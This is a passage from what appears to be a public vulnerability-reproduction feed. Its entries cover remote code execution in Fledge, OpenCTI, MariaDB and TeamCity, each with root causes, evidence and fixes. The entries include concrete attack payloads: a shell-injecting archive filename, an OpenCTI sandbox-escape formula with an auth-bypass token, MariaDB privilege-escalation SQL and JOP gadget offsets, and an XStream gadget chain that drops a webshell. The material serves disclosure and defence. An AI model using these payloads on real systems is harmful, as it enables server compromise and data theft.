`.dump`. For archives compatible with older Fledge versions, the handler calls `tar_file.extractall(temp_path)`, assigns `backup_file_name = tar_file_names[0]`, and builds `source = temp_path + "/" + backup_file_name`. The prefix/suffix checks do not reject shell syntax inside the accepted member name. The vulnerable code then performs: ```python cmd = "cp {} {}".format(source, backup_path) ret_code = os.system(cmd) ``` `os.system()` invokes a command shell. Consequently, characters such as `;`, redirections, and `#` in `source` become shell syntax instead of literal filename bytes. The proof member retains the accepted prefix and `.db` suffix while placing `;printf ...;sleep 2;#` between them. The generated shell command runs `printf`, and the comment suppresses the remainder of the `cp` command. No upstream fixed release or fix commit was identified in the ticket or the tested repository state. The reproduction therefore labels its negative control as a **same-version patched control**, not as an upstream fixed version. That control changes only the unsafe copy block to `shutil.copy2(source, backup_path)`. It accepts the same request and copies the literal filename without interpreting its metacharacters, proving that the shell sink is causal. ## Reproduction Steps 1. Run `bundle/repro/reproduction_steps.sh` from any directory. The script resolves `PRUVA_ROOT`, uses `/pruva/project-cache/repo` when the prepared cache contract permits it, and otherwise falls back to `bundle/artifacts/fledge`. 2. The script checks out exact commit `f90ffc2047ee49a380ada98a59fcc2985bd6a943`, verifies the vulnerable source statements, and builds the real Fledge product in a pinned Ubuntu 22.04 base image. Compilation is bounded to two jobs. The runtime includes the normal rsyslog socket and starts Fledge through its shipped `bin/fledge start` flow. 3. It generates deterministic minimal archives at runtime and exercises: - one normal valid backup upload (marker must remain absent); - two fresh vulnerable service instances with distinct crafted archives and markers; - two fresh same-version patched-control instances with the exact corresponding archive bytes (requests succeed, literal files are copied, and markers remain absent). 4. Each service must become healthy at `/fledge/ping`, report version 3.1.0 with mandatory authentication, and accept a normal `admin` login before the upload. 5. The vulnerable requests must return HTTP 200, produce service debug logs showing the generated `cp` command, produce `strace` evidence of `/bin/sh -c`, show the shell as a child of the Fledge core process, and create markers owned by `fledge`. 6. Expected final output includes: ```text [+] CONFIRMED: authenticated remote OS command execution through Fledge 3.1.0 backup upload API [+] Vulnerable markers: PRUVA_CVE_2026_71284_ATTEMPT_1, PRUVA_CVE_2026_71284_ATTEMPT_2 [+] Benign and same-version patched controls reached the endpoint without marker execution ``` The final script was executed twice consecutively and returned exit status 0 on both runs. ## Evidence Current-run evidence is under `bundle/logs/repro/cve-2026-71284/`; `bundle/repro/runtime_manifest.json` binds every finalized artifact to its SHA-256. Key artifacts include: - `proof_summary.json` — concise result, exact commit and image identities, four fresh process/container identities, two successful vulnerable markers, and negative-control outcomes. - `source_identity.json` — repository, v3.1.0 commit, vulnerable file digest, and canonical source target digest. - `runtime_image_identity.txt` — pinned base, vulnerable image ID, patched-control image ID, and Docker inspection output. - `vulnerable_1_health_response.json` and `vulnerable_2_health_response.json` — real service health, version 3.1.0, and mandatory authentication. - `vulnerable_{1,2}_login_request.json` / `login_response.json` — normal administrator authentication with current tokens redacted from retained proof. - `vulnerable_{1,2}_upload_request.json` / `upload_response.json` — authenticated production endpoint transactions. - `vulnerable_{1,2}_service.log` — handler debug output containing attacker-controlled `source` and the constructed shell command. - `vulnerable_{1,2}_execve_trace.log` and `shell_lineage.log` — syscall/process evidence. A representative excerpt is: ```text execve("/bin/sh", ["sh", "-c", "cp /var/lib/fledge/upload/fledge_backup_...db;printf PRUVA_CVE_2026_71284_ATTEMPT_1 >/tmp/pruva_cve_2026_71284_attempt_1;sleep 2;#.db /var/lib/fledge/backup"], ...) ``` - `vulnerable_1_process_tree_during_attack.txt` — live lineage showing PID 155 `python3 -m fledge.services.core` (user `fledge`) parenting PID 579 `sh -c ...`, which parents `sleep 2`. - `vulnerable_{1,2}_marker.txt` — exact attacker-selected marker bytes. - `vulnerable_{1,2}_marker_stat.txt` — marker ownership and mode. Both record `uid=10001 user=fledge ... group=fledge`. - `benign_control_*` — a conventional valid backup succeeds without a marker and appears in the backup directory. - `patched_{1,2}_negative_control.json`, `patched_{1,2}_execve_trace.log`, `patched_{1,2}_service.log`, and `patched_{1,2}_backup_listing.txt` — the same crafted archive reaches the same endpoint in the same release, but no attacker command is passed to `execve`; the source is copied as a literal filename and no marker appears. - `patched_control_source.txt` — exact behavior-preserving control statement using `shutil.copy2`. - `bundle/logs/reproduction_steps.log` and `bundle/logs/fledge-image-build.log` — diagnostics for the final run; these are not hashed as immutable proof while active. The final runtime manifest records `entrypoint_kind="endpoint"`, `service_started=true`, `healthcheck_passed=true`, `target_path_reached=true`, exact source commit, source target digest, vulnerable runtime image digest, Linux/x86-64 platform, and 101 finalized proof artifacts. ## Recommendations / Next Steps 1. Remove the shell from the copy operation. Prefer `shutil.copy2(source, backup_path)` or another API that treats source and destination as literal path arguments. If an external utility is unavoidable, invoke it with an argument vector and `shell=False`; do not build a shell command string. 2. Validate and normalize every archive member before extraction. Reject absolute paths, `..` traversal, links, device entries, control characters, and filenames outside a narrowly defined grammar. Extract only explicitly accepted members rather than calling unrestricted `extractall()`. 3. Do not rely solely on `startswith()`/`endswith()` for a security boundary. A suitable allowlist should constrain the entire backup basename, for example a known timestamp pattern and the exact `.db`/`.dump` extension. 4. Add production-path tests that upload names containing `;`, `$()`, backticks, quotes, whitespace, redirection operators, glob characters, newlines, and traversal sequences. Assert no child shell is created and that literal-safe backups still work. 5. Add a regression test using the same crafted archive against the real authenticated API and monitor process ancestry (`Fledge core -> shell`) to ensure the unsafe behavior is gone. 6. Until an upstream release containing a verified fix exists, restrict the endpoint to trusted administrators, isolate the service account, minimize writable paths and privileges, and alert on shell processes spawned by the Fledge core service. ## Additional Notes - **Idempotency:** Confirmed. The script removes prior evidence/work directories and uniquely names containers; it completed successfully twice in succession. Each individual final run itself used two clean vulnerable and two clean patched-control service instances. - **Real boundary:** The proof uses the compiled Fledge 3.1.0 core and storage service, normal product initialization, `/fledge/login`, and `POST /fledge/backup/upload` over localhost TCP. It does not invoke `upload_backup()` directly and uses no mock handler. - **Sanitizers:** None used. The success oracle is real command execution, not a sanitizer or crash. - **Authentication:** Fledge's normal first-install administrator credential was used only inside the isolated containers. Retained request evidence redacts the credential and retained responses redact JWTs. - **Container capabilities:** `SYS_PTRACE` and an unconfined seccomp profile are used only so `strace` can capture child process execution. They do not enable the injection, change product parsing, or create the marker; vulnerable execution was independently observed before adding tracing. - **Upstream status:** No released fixed version is asserted. The negative control is explicitly source-modified Fledge 3.1.0 for causal verification. - **Limitations:** The proof requires a working Docker daemon and network access on an uncached first build to obtain the pinned base and package dependencies. It performs no outbound access from the exploit payload. ### Reproduction - Reproduced: 2026-08-23T15:39:05.410Z - Duration: 5463s - Confidence: high ### Quick Verify ```bash pruva-verify REPRO-2026-00332 # or: pruva-verify CVE-2026-71284 ``` ### Links - Detail page: https://www.pruva.dev/reproductions/REPRO-2026-00332 - Script: https://api.pruva.dev/v1/reproductions/REPRO-2026-00332/artifacts/bundle/repro/reproduction_steps.sh - JSON: https://api.pruva.dev/v1/reproductions/REPRO-2026-00332 ================================================================================ ## REPRO-2026-00331: OpenCTI CVE-2026-39980 safeEjs destructuring fix bypass RCE -------------------------------------------------------------------------------- Status: published Severity: critical Type: security ### Identifiers - REPRO ID: REPRO-2026-00331 - CVE: CVE-2026-39980 (https://nvd.nist.gov/vuln/detail/CVE-2026-39980) ### Package Information - Name: opencti-platform/opencti - Ecosystem: github - Affected: Unknown - Fixed: Unknown - Severity: critical - CVSS: Unknown - CWE: CWE-94 (Improper Control of Generation of Code ('Code Injection')) ### Root Cause # RCA Report: CVE-2026-39980-BYPASS-DESTRUCTURE — OpenCTI 6.9.5 safeEjs quoted-key destructuring sandbox bypass (pre-auth root RCE) ## Summary OpenCTI 6.9.5 shipped a fix for CVE-2026-39980 (commit `d91c19e1e7`, "[backend] Safe ejs with verifier") that rewrites `safeRender` in `src/utils/safeEjs.ts` with an `@lezer/javascript` AST verifier plus a runtime property guard (`____safe____property`). The fix contains a static-analysis gap: quoted object keys are checked against the `forbiddenProperties` denylist only when their AST parent is an object-literal `Property` node. Quoted keys in **destructuring patterns** are `PatternProperty` children and are never inspected, and because destructuring performs a real `[[Get]]` without bracket tokens, the runtime guard (which is injected only around `[` `]`) is never applied either. The formula `(()=>{const{"constructor":F}=Array;return F()()})()` therefore retrieves `Function` from the allowed `Array` global and executes arbitrary JavaScript inside the OpenCTI Node.js process. Delivered through the `jsonMapperTest` GraphQL mutation (JsonMapper variable formula) and chained with the still-unpatched CVE-2026-27960 Bearer-UUID auth bypass, this yields **unauthenticated remote code execution as root** on a fully patched-for-CVE-2026-39980 OpenCTI 6.9.5. ## Impact - **Package/component affected**: `opencti/platform` (backend `opencti-graphql`), file `src/utils/safeEjs.ts` (`processString` / `transformTemplate`). - **Affected versions**: 6.9.5 (the CVE-2026-39980 "fixed" release). The auth bypass used for pre-auth reachability (CVE-2026-27960) is live on 6.9.5 and was only fixed in 6.9.13; even without it, any authenticated user with the `CSVMAPPERS` capability (or access to notifier template testing, which shares the `transformTemplate` core) can trigger the same sandbox escape. - **Risk level and consequences**: Critical. Unauthenticated remote code execution as `uid=0(root)` inside the platform container — full platform compromise (all threat-intel data, credentials, connected systems). ## Impact Parity - **Disclosed/claimed maximum impact**: code execution (root RCE, pre-auth when chained with CVE-2026-27960). - **Reproduced impact from this run**: full remote code execution as `uid=0(root)` inside two fresh `opencti/platform:6.9.5` containers per pass, via the real `POST /graphql` `jsonMapperTest` endpoint, preceded by remote proof of the CVE-2026-27960 auth bypass (`me` query returns the admin identity when only `Authorization: Bearer 88ec0c6a-13ce-5e39-b486-354fe4a7084f` is supplied). - **Parity**: `full`. - **Not demonstrated**: nothing claimed was left undemonstrated. (Persistence/exfiltration beyond the marker command was not attempted and was not claimed.) ## Root Cause `src/utils/safeEjs.ts` (tag `6.9.5` = commit `be4ab13c30d154adc3cfc49ba128b2039b93e348`, fix commit `d91c19e1e7` contained): ```ts const processString = () => { const parentType = cursor.node.parent?.type.name; if (parentType === 'Property') { // object literals ONLY processPropertyDefinitionOrName(); // forbiddenProperties denylist check } }; ``` 1. In `@lezer/javascript`, a quoted key in an object literal (`x={"constructor":1}`) is a `String` node whose parent is `Property` → denylist-checked. The same quoted key in a destructuring pattern (`const {"constructor":F}=Array`) is a `String` node whose parent is `PatternProperty` → **never checked** (verified locally with `@lezer/javascript`: parent `PatternProperty` vs `Property`). 2. The runtime guard `____safe____property(...)` is injected only by `processBracketLeft`/`processBracketRight` around `[`/`]` tokens (`isPropertyNameInBracket` covers `MemberExpression`, `Property`, `PatternProperty` — but destructuring has **no bracket tokens**), so no runtime coercion/denylist happens either. 3. `Array` is an explicitly allowed global (`authorizeGlobals`), so `Array` → destructure `"constructor"` → `Function` → `F("return process.getBuiltinModule('child_process').execSync(...)")()` executes OS commands as the platform process user (root in the official image). Sink chain: `POST /graphql` → `jsonMapperTest(configuration, file)` (`@auth(for: [CSVMAPPERS])`) → `jsonMapper-domain.ts::jsonMapperTest` → `parser/json-mapper.ts::jsonMappingExecution` → `extractComplexPathFromJson` → `safeRender("", ...)`. ## Reproduction Steps 1. `bundle/repro/reproduction_steps.sh` (self-contained; only needs Docker). 2. The script deploys the real stack — `elasticsearch:8.19.9`, `redis:8.4.0`, `rabbitmq:4.2.2-management`, `minio/minio:RELEASE.2025-06-13T11-33-47Z`, and `opencti/platform:6.9.5` (digest pinned and verified: `sha256:1f91ad32f1aadf283b5f369ff7b358da071679d4e2bec64030127306db8e73b0`) — waits for the real `/health` endpoint, then: - proves CVE-2026-27960 auth bypass remotely (`me` query as admin via Bearer admin internal_id), - sends the **negative control**: the original CVE-2026-39980 computed-key payload, which the 6.9.5 fix rejects with `VerifierIllegalAccessError: Forbidden property access {"propertyName":"constructor"}` (proving the fix was active), - sends the **destructuring exploit formula** as a JsonMapper variable formula through `jsonMapperTest` and verifies a unique per-run marker file inside the platform container containing the token, `uid=0(root)`, and the container hostname, - recreates the platform container (fresh process, distinct hostname) and repeats the exploit successfully. 3. Expected evidence: marker files with `uid=0(root)` + per-run epoch token + container hostname; GraphQL 200 responses; negative-control rejection; exit code 0. 4. `bundle/repro/negative_control.sh` runs a dedicated negative control on a **separate fresh process** (distinct marker name) and asserts rejection + marker absence. ## Evidence - `bundle/logs/reproduction_steps.log` — full pass transcript (two consecutive passes, both exit 0). - `bundle/artifacts/http/me_response.json` — `{"data":{"me":{"user_email":"admin@pruva.local","name":"admin"}}}` via Bearer UUID only (CVE-2026-27960). - `bundle/artifacts/http/negative_control_response.json` — rejection of the original payload; the error message even shows the injected guard: `"constructor"})]...) ... Forbidden property access {"propertyName":"constructor"}`. - `bundle/artifacts/http/exploit_attempt{1,2}_response.json` — HTTP 200 `{"data":{"jsonMapperTest":{...}}}` for the destructuring payload (request bodies preserved in `*.operations.json`). - `bundle/artifacts/markers/marker_attempt1.txt` (pass 2, container `f7cd127ef744`), `marker_attempt2.txt` (pass 2, fresh container `e8d8ea37e8dd`): per-run token + `uid=0(root) gid=0(root)...` + hostname. Pass 1 used containers `fc0ed8fda7f3` / `ee1736911ce1` — four distinct fresh processes total. - `bundle/repro/runtime_manifest.json` — endpoint/runtime evidence manifest with pinned target identity. - Environment: rootless Docker 27.5.1, x86_64 Linux, Node runtime bundled in the image. ## Recommendations / Next Steps - Denylist quoted destructuring keys: in `processString`, also handle `parentType === 'PatternProperty'` (and consider `PropertyDefinition`/assignment patterns), or better, switch from a denylist to an **allowlist** of permitted property names. - Treat `constructor`-family access uniformly regardless of syntax surface (dot, bracket, destructuring, default values, rest patterns). - Isolate formula/template evaluation from the main Node.js process (worker with restricted `process`/module access); note `safeEjs.client.ts` already has a worker path — the jsonMapper path uses the in-process `safeEjs.ts`. - Upgrade guidance: 6.9.5 is **not** sufficient remediation for CVE-2026-39980. CVE-2026-27960 (auth bypass) is fixed in 6.9.13; upgrading to ≥6.9.13 removes the pre-auth vector but the destructuring sandbox escape should be verified/fix-forwarded independently. - Testing: add AST-level regression tests feeding `{"constructor":...}` destructuring patterns into the verifier, plus end-to-end `jsonMapperTest` exploit tests. ## Additional Notes - Idempotency: the script tears down and recreates the full stack on every run (`docker rm -f` + fresh network), generates a fresh epoch token and fresh admin API token per run, and cleans up via `trap ... EXIT`. Verified idempotent: two consecutive runs both exited 0. - Limitations: the exploit requires the formula to avoid bracket property access on forbidden names and `this`/`import`; the demonstrated formula is minimal and stable. The Docker-based stack requires ~2 GB RAM for the ES heap; timings on this host: full pass ≈ 4–5 minutes. - The Unicode-escape vector hypothesized in public write-ups was ruled out by the discovering run (escaped identifiers throw `VerifierParsingError`); the residual bypass class is destructuring, confirmed here at runtime. ### Reproduction - Reproduced: 2026-08-23T15:38:59.612Z - Duration: 6384s - Confidence: high ### Quick Verify ```bash pruva-verify REPRO-2026-00331 # or: pruva-verify CVE-2026-39980 ``` ### Links - Detail page: https://www.pruva.dev/reproductions/REPRO-2026-00331 - Script: https://api.pruva.dev/v1/reproductions/REPRO-2026-00331/artifacts/bundle/repro/reproduction_steps.sh - JSON: https://api.pruva.dev/v1/reproductions/REPRO-2026-00331 ================================================================================ ## REPRO-2026-00330: MariaDB 13.0.1-rc RCE chain: F-09 GRANT PROXY priv-esc (MDEV-40470) + /proc/self/maps ASLR leak + F-05 SYS_REFCURSOR heap UAF → JOP to system() as uid 999(mysql), pure SQL from a low-priv account -------------------------------------------------------------------------------- Status: published Severity: critical Type: security ### Identifiers - REPRO ID: REPRO-2026-00330 ### Package Information - Name: mariadb/server - Ecosystem: github - Affected: F-09 affects every released MariaDB version (confirmed 13.0.1 through 10.6.27). F-05 unfixed at HEAD as of 2026-08-03. - Fixed: Unknown - Severity: critical - CVSS: Unknown - CWE: CWE-266 ### Root Cause # RCA Report — MDEV-40470-F05-RCE-CHAIN: MariaDB 13.0.1-rc pure-SQL RCE chain ## Summary A USAGE-only MariaDB account with TCP reachability to port 3306 achieves remote code execution as `uid=999(mysql)` on the **stock, unmodified** MariaDB 13.0.1-rc Docker image (`mariadb@sha256:ef34af04bda12e6c85395328af78d562176c34fb29ae52063a4eb0d68fa7b3e9`) using nothing but SQL statements. The chain combines: (F-09) a `GRANT PROXY ... IDENTIFIED VIA ''` privilege escalation that hijacks the root account with an empty password (MDEV-40470); a server-side `LOAD DATA INFILE '/proc/self/maps'` read that discloses the live PIE and libc base addresses (ASLR defeat); a 128 MiB user-variable buffer whose address is discovered by diffing `/proc/self/maps` from SQL; and (F-05) a `SYS_REFCURSOR` use-after-free in `sp_cursor_array::get_cursor_by_ref()` whose freed 1792-byte array chunk is reclaimed by an exact-fit heap spray, redirecting a virtual dispatch into a two-gadget JOP chain (D2 → D1) that calls libc `system()` with an attacker-chosen command string. ## Impact - **Package/component:** `mariadb/server` — server core (`sql/sql_acl.cc` GRANT PROXY handling; `sql/sp_cursor.{cc,h}` cursor array). - **Affected versions:** reproduced on 13.0.1-MariaDB-ubu2604 (pinned image). Per the advisory, F-09's fix (commit `dbd60d0ad8d`) exists only on dev branches and is absent from every released version 13.0.1 → 10.6.27; F-05 is unfixed upstream (no commits to `sql/sp_cursor.{cc,h}` since the 13.0.1 tag). - **Risk level:** Critical. Any authenticated low-privilege database user gains full OS command execution as the `mysql` service account (uid 999), i.e. complete database-server compromise, remotely, over the normal SQL protocol. ## Impact Parity - **Disclosed/claimed maximum impact:** code execution as uid 999 (mysql) from a USAGE-only account via pure SQL over TCP/3306. - **Reproduced impact from this run:** identical — attacker-chosen shell commands executed as `uid=999(mysql)` on the stock pinned image in 6/6 fresh processes (5 scripted + 1 manual calibration run), each with fresh ASLR. - **Parity:** `full`. ## Root Cause 1. **F-09 — GRANT PROXY privilege escalation (MDEV-40470).** `GRANT PROXY ON CURRENT_USER() TO 'root'@'%' IDENTIFIED VIA '';` passes an *empty* authentication clause. `LEX_USER::has_auth()` returns false, so the privilege check in `check_alter_user()` is skipped, while `replace_user_table()` still applies the (empty) password — replacing root's credentials with an empty password. One statement, any authenticated user. Fix: commit `dbd60d0ad8d` (dev branches only; no released version has it). Runtime proof: after the statement, login as `root` with `--skip-password` succeeds (`CURRENT_USER()=root@%`), and the pre-escalation negative control shows `ERROR 1045` on `LOAD DATA INFILE` and `ERROR 1227` on `SET GLOBAL`. 2. **ASLR defeat.** With the FILE privilege obtained in step 1 and `secure_file_priv` unset (stock), `LOAD DATA INFILE '/proc/self/maps'` loads mariadbd's own memory map into a table; plain SELECTs return the PIE base (first `r--p 00000000` mapping of `/usr/sbin/mariadbd`) and the libc base. Fresh values every process (observed 0x63abb3250000, 0x57b3cea2c000, 0x55b611d36000, 0x76955fffe000-area, 0x731cf3fff000-area). 3. **F-05 — SYS_REFCURSOR use-after-free (unfixed 0day).** `sp_cursor_array::get_cursor_by_ref()` returns an interior pointer into a `Dynamic_array`. When a cursor's `open()` executes SQL that opens more cursors (`grow5()` opens 16 cursors, then `OPEN p FOR SELECT spray128()`), the array grows, `my_realloc` frees the old 1792-byte storage (16×112 B), and the caller's cached pointer dangles. A heap spray of 128 session user variables of exactly 1784 bytes (`SET @e3sNNN=@e3pad`, glibc exact-fit for the 1792-byte chunk) reclaims the freed storage with attacker bytes, placing a controlled pointer `V` at offset 0x20 (the `result` member of `sp_cursor`). `Materialized_cursor::open()` then dispatches virtually: `mov rax,[result]; call [rax+0x20]`. 4. **JOP to `system()`.** The fake vtable `V` lives in a 128 MiB user-variable buffer whose address is learned via the maps diff (glibc gives such large allocations a dedicated mmap; the slot is reused across free+realloc, so the self-referential pointer baked by SQL stays valid; buffer data begins at region+0x30 — verified this run via gdb on the live process). Layout: `V+0x20=D2`, `V+0xa0=system`, `V+0xa8=V+0x140` (cmd ptr), `V+0x100=D1`, `V+0x140="sh -c ''"`. Dispatch: `call [rax+0x20]` → D2 (`call *0x100(%rax)`, PIE+0x80da77) → D1 (`mov rdi,[rax+0xa8]; call [rax+0xa0]`, PIE+0xe3075b) → `system()` (libc+0x5c560). All three gadget offsets were re-verified with `objdump` against the binaries extracted from the pinned image in this run (`logs/repro/gadget_check.log`). ## Reproduction Steps 1. `bundle/repro/reproduction_steps.sh` (run twice consecutively — both runs exited 0). 2. The script: installs `mariadb-client`/`binutils` if missing; pulls the pinned image; verifies the D2/D1/system gadget offsets in the extracted binaries; then performs **two** independent attempts, each against a freshly created container (fresh datadir, root password `labpass`, USAGE + `appdb.*`-only `lowpriv` account, fresh ASLR). Each attempt runs `bundle/repro/exploit_mdev40470.py`, a pure-SQL driver (mariadb client over TCP/3306) that executes the whole chain and finally reads the marker file `id > /tmp/mdev40470_pwned_attemptN` the payload wrote inside the container. 3. Expected evidence: per attempt — `F-09 done - root login with EMPTY password`, leaked PIE/libc bases, stable 128 MiB slot, session death on `CALL uaf5()`, and marker content `uid=999(mysql) gid=999(mysql) groups=999(mysql)`; script exits 0 only when both attempts confirm. Note on the exploit driver: it is the published PoC (github.com/dinosn/mariadb-13-rce-lab @ 6ac868e1) with *one* robustness fix in the `/proc/self/maps` region discovery — on this kernel the fresh 128 MiB mmap is sometimes VMA-merged with an adjacent pre-existing anonymous region (observed merged sizes 0x8022000 and 0x10002000), which the stock exact-size filter missed. The patched logic tracks all anonymous rw-p regions and handles both new-region and grew-region cases. Gadget offsets, sizes, DATA_OFF (0x30) and the whole chain are unchanged. ## Evidence - `bundle/logs/reproduction_steps.log` — full scripted run (exit 0, 2/2). - `bundle/logs/repro/version_check.log` — `13.0.1-MariaDB-ubu2604`. - `bundle/logs/repro/gadget_check.log` — objdump verification of D2/D1/system. - `bundle/logs/repro/vuln_attempt_1.log`, `vuln_attempt_2.log` — per-attempt chain transcripts (distinct ASLR bases). - `bundle/logs/repro/marker_attempt_1.log`, `marker_attempt_2.log` — `uid=999(mysql) gid=999(mysql) groups=999(mysql)`. - `bundle/logs/repro/vuln_attempt_token.log` + `marker_attempt_token.log` — additional run writing the unique token `MDEV40470_CHAIN_EXEC_1785762660`. - `bundle/logs/repro/negative_control_lowpriv.log` + `bundle/repro/negative_control_1.json` — identical procedure without F-09: `ERROR 1045` (FILE), `ERROR 1227` (SUPER), no marker, no crash; the escalation is the linchpin. - `bundle/repro/runtime_manifest.json` — tcp_peer entrypoint, service/health/ target-path flags, pinned-image target identity. - Environment: Docker 27.5.1 daemon, host kernel 6.8, container glibc 2.43; ASLR enabled (`/proc/sys/kernel/randomize_va_space` default); PIE binary. ## Recommendations / Next Steps - **F-09 (MDEV-40470):** backport commit `dbd60d0ad8d` to all maintained release branches; reject empty `IDENTIFIED VIA ''` authentication clauses in GRANT PROXY / treat them as authenticated changes requiring `check_alter_user()` privileges. - **F-05:** fix `sp_cursor_array::get_cursor_by_ref()` callers to re-validate the cursor reference after `open()` (or pin the array storage / use index-based lookup) so growth during a nested open cannot dangle the cached pointer. - **Defense in depth:** set `secure_file_priv` to a dedicated directory in the stock image; consider `local_infile=0` and restricting FILE privilege. - Until patched releases exist, any authenticated account must be treated as equivalent to full OS code execution as the mysql user. ## Additional Notes - **Idempotency:** `reproduction_steps.sh` was run twice consecutively; both runs passed (4/4 scripted attempts + 1 manual + 1 token run = 6/6 total). Each attempt recreates the container from the pinned image, so no state carries over. - **No fixed negative control exists:** the F-09 fix is not in any released version and F-05 is unfixed upstream, so no released image can serve as a fixed build. The in-band negative control (same procedure without the F-09 escalation) demonstrates the privilege gate; the gadget-offset verification binds the result to the exact pinned binaries. - **Kernel-dependent VMA merging** was the only environmental deviation from the published PoC (its exact-size maps filter). The patched discovery was verified against gdb ground truth (marker bytes `ABCD` found at region+0x30, confirming `DATA_OFF=0x30`; chunk header `0x8000ff2` IS_MMAPPED at region+8). - The server process crashes after `system()` returns (mariadbd is PID 1, so the container exits); marker files persist in the container layer and are read after `docker start`. This post-exploit housekeeping is the only non-SQL step and is not part of the exploitation. ### Reproduction - Reproduced: 2026-08-23T15:38:53.860Z - Duration: 3693s - Confidence: high ### Quick Verify ```bash pruva-verify REPRO-2026-00330 ``` ### Links - Detail page: https://www.pruva.dev/reproductions/REPRO-2026-00330 - Script: https://api.pruva.dev/v1/reproductions/REPRO-2026-00330/artifacts/bundle/repro/reproduction_steps.sh - JSON: https://api.pruva.dev/v1/reproductions/REPRO-2026-00330 ================================================================================ ## REPRO-2026-00329: JetBrains TeamCity On-Premises unauthenticated RCE via agent polling protocol -------------------------------------------------------------------------------- Status: published Severity: critical Type: security ### Identifiers - REPRO ID: REPRO-2026-00329 - CVE: CVE-2026-63077 (https://nvd.nist.gov/vuln/detail/CVE-2026-63077) ### Package Information - Name: JetBrains TeamCity - Ecosystem: Unknown - Affected: Unknown - Fixed: Unknown - Severity: critical - CVSS: Unknown - CWE: CWE-502 (Deserialization of Untrusted Data) (Deserialization of Untrusted Data) ### Root Cause # CVE-2026-63077 — Root Cause Analysis ## Summary JetBrains TeamCity On-Premises is vulnerable to unauthenticated remote code execution (CWE-502, deserialization of untrusted data) in its **agent polling protocol**. The server-side handler `jetbrains.buildServer.agentServer.polling.Error.fromXml()` (and the sibling `XStreamHolder`s in `PollingRemoteAgentConnection`, `RunBuildCommandResult`, and `NodesAwareLogMessagePersister`) deserializes attacker-controlled HTTP request bodies with an XStream instance configured with `AnyTypePermission.ANY` and only a small denylist. An unauthenticated attacker first registers a synthetic build agent via `POST /app/agents/v1/register` (which issues a valid `TeamCity-AgentSessionId` without any credentials), then posts a crafted XStream XML document to `POST /app/agents/v1/commands/error`. The embedded gadget chain starts an HSQLDB connection whose `connectionInitSqls` drop a self-deleting `.jspws` webshell into the TeamCity webroot; a single GET to that file executes an arbitrary OS command with the privileges of the TeamCity server process. ## Impact - Package/component: JetBrains TeamCity On-Premises server (`webapps/ROOT` webapp, classes in `server-core.jar`, `common-impl.jar`, `messages.jar`, `web-core.jar`). - Affected versions: all TeamCity On-Premises versions before 2025.11.7 / 2026.1.3 (verified vulnerable: 2025.11.6, build 208214; verified fixed: 2025.11.7). - Risk: CVSS 3.1 9.8 Critical (AV:N/AC:L/PR:N/UI:N). Listed in CISA KEV (added 2026-08-05) with confirmed in-the-wild exploitation. Full server compromise: arbitrary OS command execution as the TeamCity server user, access to build secrets, source code, CI/CD pipeline integrity. ## Impact Parity - Disclosed/claimed maximum impact: unauthenticated remote code execution. - Reproduced impact from this run: unauthenticated remote OS command execution (`touch ` executed as `tcuser`, the TeamCity server process user, inside the official `jetbrains/teamcity-server:2025.11.6-linux` container), proven by the command-created marker file and by the one-shot JSPWS response token. - Parity: **full**. - Not demonstrated: nothing material — the claim is unauthenticated RCE and exactly that was demonstrated, twice, through the real HTTP surface. ## Root Cause The agent polling protocol is served by `jetbrains.buildServer.controllers.agentServer.AgentPollingProtocolController` (`web-core.jar`), reachable under `/app/agents/v1/...` with **no servlet-level authentication**: agent identity is established only by the `TeamCity-AgentSessionId` header (`:`), and a fresh valid session is handed out by the unauthenticated `register` action to any caller (`createRegisteredAgentWithPollingConnection` → `registerAgent` → session id in the `TeamCity-AgentSessionId` response header). For the `commands/error` sub-path, `AbstractAgentCommandsRequestsProcessor. handleCommandIsFailedRequest` executes: ```java Error error = Error.fromXml(StreamUtil.readTextFrom(request.getReader())); // <- sink int n = Integer.parseInt(request.getHeader("TeamCity-AgentCommandId")); ``` `Error.fromXml` → `XStreamWrapper.deserializeObject(xml, ourXStreamHolder)`. `jetbrains.buildServer.messages.XStreamHolder` (messages.jar) configures its XStream as: ```java xstream.addPermission(AnyTypePermission.ANY); xstream.denyTypes(new String[]{ "java.beans.EventHandler", "java.lang.ProcessBuilder", "javax.imageio.ImageIO$ContainsFilter", "jdk.nashorn.internal.objects.NativeString", "com.sun.corba.se.impl.activation.ServerTableEntry", "com.sun.tools.javac.processing.JavacProcessingEnvironment$NameProcessIterator", "sun.awt.datatransfer.DataTransferer$IndexOrderComparator", "sun.swing.SwingLazyValue"}); xstream.denyTypesByRegExp(/* LazyIterator, LazyEnumeration, GetterSetterReflection, PrivilegedGetter, java.rmi, javax.crypto, ServiceNameIterator, JavaFX, BCEL */); ``` i.e. an "allow everything except a 2016-era blacklist" configuration. Bundled libraries (commons-collections 3.2.2, freemarker 2.3.31, commons-dbcp2/pool2, hsqldb, plus TeamCity's own classes) provide all the gadget classes needed for code execution. The exploit gadget chain (identical to the in-the-wild chain captured by honeypots and documented by Rapid7): 1. `linked-hash-map` entry value typed as TeamCity's own `jetbrains.buildServer.serverSide.metadata.impl.metadata.HSQLMetadataStorage$SchemaMismatchException` (a `Throwable`, so it passes XStream 1.4.20's default hierarchy permission). Its declared fields instantiate `HSQLStorage` with a DBCP2 `BasicDataSource` whose `driverClassName=org.hsqldb.jdbc.JDBCDriver`, `url=jdbc:hsqldb:mem:`, and three attacker-controlled `connectionInitSqls`. 2. A `freemarker.ext.beans.HashAdapter` whose `falseModel.object` is an XStream `reference=` to that `BasicDataSource`, giving a `Map` view whose `get("connection")` invokes `BasicDataSource.getConnection()` via FreeMarker bean introspection. 3. A `set` containing `org.apache.commons.collections.keyvalue.TiedMapEntry` (not covered by commons-collections 3.2.2's `readObject` serialization guard) bound to that map with key `"connection"`. During `HashSet` population, `TiedMapEntry.hashCode()` → `getValue()` → `map.get("connection")` → `BasicDataSource.getConnection()` → DBCP runs the three init SQL statements against the in-memory HSQLDB: `CREATE TABLE`, `INSERT ''`, and `SCRIPT '../webapps/ROOT/.jspws'`, which writes a polyglot SQL/JSP webshell into the TeamCity webroot. 4. `GET /.jspws` compiles and runs the scriptlet, which deletes itself and calls `java.lang.Runtime.getRuntime().exec()`, printing a per-run token. Fix (confirmed by decompiling the official `fix_CVE_2026_63077.zip` security patch plugin, build limit `max-build="222648"`): the patch reflectively replaces every `XStreamHolder` used by the polling protocol (`PollingRemoteAgentConnection.myXStreamHolder`, `Error.xStreamHolder`, `RunBuildCommandResult.ourXStreamHolder`, `NodesAwareLogMessagePersister.xStreamHolder`) with a wrapper whose `getXStream()` adds `NoTypePermission.NONE` plus an explicit allowlist of ~100 `jetbrains.buildServer.*` data classes. It also installs 